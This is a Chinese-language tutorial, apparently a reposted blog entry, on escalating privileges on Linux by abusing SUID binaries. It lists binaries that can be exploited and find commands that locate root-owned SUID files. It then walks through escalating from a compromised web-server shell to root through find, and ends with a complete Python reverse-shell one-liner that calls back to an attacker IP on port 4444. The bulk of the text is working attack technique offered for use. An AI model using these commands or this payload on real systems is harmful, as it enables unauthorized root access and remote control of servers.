1. 程式人生 > >Linux下用SUID提權

Linux下用SUID提權

關於SUID詳細:Linux下的使用者、組和許可權

SUID可以讓呼叫者以檔案擁有者的身份執行該檔案,所以我們利用SUID提權的思路就是執行root使用者所擁有的SUID的檔案,那麼我們執行該檔案的時候就得獲得root使用者的身份了。

已知的可用來提權的linux可行性的檔案列表如下:

  • Nmap
  • Vim
  • find
  • Bash
  • More
  • Less
  • Nano
  • cp

以下命令可以發現系統上執行的所有SUID可執行檔案。

#以下命令將嘗試查詢具有root許可權的SUID的檔案,不同系統適用於不同的命令,一個一個試
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

假如我們現在拿到了一個網站伺服器的shell,但是許可權是ubuntu,我們現在需要提權到 root 使用者許可權。

 我們檢視具有root使用者許可權的SUID檔案

我們隨便找一個命令進行利用,我們就找find,先檢視其資訊,發現其確實是root使用者許可權的SUID的檔案

我們先看一下是否能用find命令以root許可權執行,發現確實可以以root許可權執行

 

然後我們檢視目標網站上是否有python環境,可以看到有python2.7.6的環境

於是我們以root使用者的身份利用python反彈shell,

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.25",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'  #反彈一個sh型別的shell

可以看到,在攻擊端收到了反彈過來的shell,並且是root身份